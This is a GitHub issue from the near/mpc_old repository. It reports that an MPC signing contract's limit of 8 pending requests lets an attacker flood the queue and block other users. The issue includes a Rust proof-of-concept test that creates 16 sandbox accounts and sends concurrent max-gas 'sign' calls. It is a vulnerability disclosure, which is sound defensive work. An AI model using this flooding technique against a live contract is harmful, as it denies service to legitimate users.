8000 Potential DoS of main functionality by keeping the queue full · Issue #576 · near/mpc_old · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content
Potential DoS of main functionality by keeping the queue full #576
Open
@timurguvenkaya

Description

@timurguvenkaya

Description

Malicious actors can cause DoS on contract by constantly keeping the pending requests full. There is a limit of 8, so it is possible to simply constantly send payloads, which will prevent others from submitting payloads to sign (or severely limit the number). There should be a potential financial mechanism, which will discourage malicious actors from keeping the queue full or almost full, which will decrease the throughput

POC

use mpc_contract::primitives::CandidateInfo;
use near_workspaces::{network::Sandbox, AccountId};
use serde_json::json;
use std::collections::HashMap;

const CONTRACT_FILE_PATH: &[u8] =
    include_bytes!("../../target/wasm32-unknown-unknown/release/mpc_contract.wasm");

struct Env {
    contract: near_workspaces::Contract,
    malicious_account: near_workspaces::Account,
    candidates: HashMap<AccountId, CandidateInfo>,
    worker: near_workspaces::Worker<Sandbox>,
}

async fn prepare() -> anyhow::Result<Env> {
    let worker = near_workspaces::sandbox().await?;

    let malicious_account = worker.dev_create_account().await?;

    println!("Malicious account is created: {}", malicious_account.id());

    let contract = worker.dev_deploy(CONTRACT_FILE_PATH).await?;

    println!("Contract is deployed: {}", contract.id());

    let candidates: HashMap<AccountId, CandidateInfo> = HashMap::new();

    contract
        .call("init")
        .args_json(serde_json::json!({
            "threshold": 2,
            "candidates": candidates
        }))
        .transact()
        .await?
        .into_result()?;

    Ok(Env {
        contract,
        malicious_account,
        candidates,
        worker,
    })
}

#[tokio::test]
async fn dos() -> anyhow::Result<()> {
    let Env {
        contract, worker, ..
    } = prepare().await?;

    let account_handles = (0..16).map(|_| worker.dev_create_account());
    let accounts: Vec<_> = futures::future::try_join_all(account_handles).await?;

    for account in &accounts {
        println!("Account is created: {}", account.id());
    }

    let contract_id = contract.id();

    let handle_vec = accounts
        .into_iter()
        .enumerate()
        .map(|(i, acc)| {
            println!("Iteration: {}", i);
            let arr = [i as u8; 32];
            acc.call(&contract_id, "sign")
                .args_json(json!({"payload": arr, "path": "", "key_version": 0}))
                .max_gas()
                .transact()
        })
        .collect::<Vec<_>>();

    // Wait for all futures to complete
    let results = futures::future::join_all(handle_vec).await;

    // Process results
    for result in results {
        match result {
            Ok(ok_result) => match ok_result.into_result() {
                Ok(good_result) => println!("Result: {:?}", good_result),
                Err(e) => println!("Error: {:?}", e),
            },
            Err(e) => println!("Error handling future: {:?}", e),
        }
    }

    Ok(())
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Emerging TechEmerging Tech flying formation at PagodaNear BOSNEAR BOS team at Pagoda

    Type

    No type

    Projects

    Status

    Backlog

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      0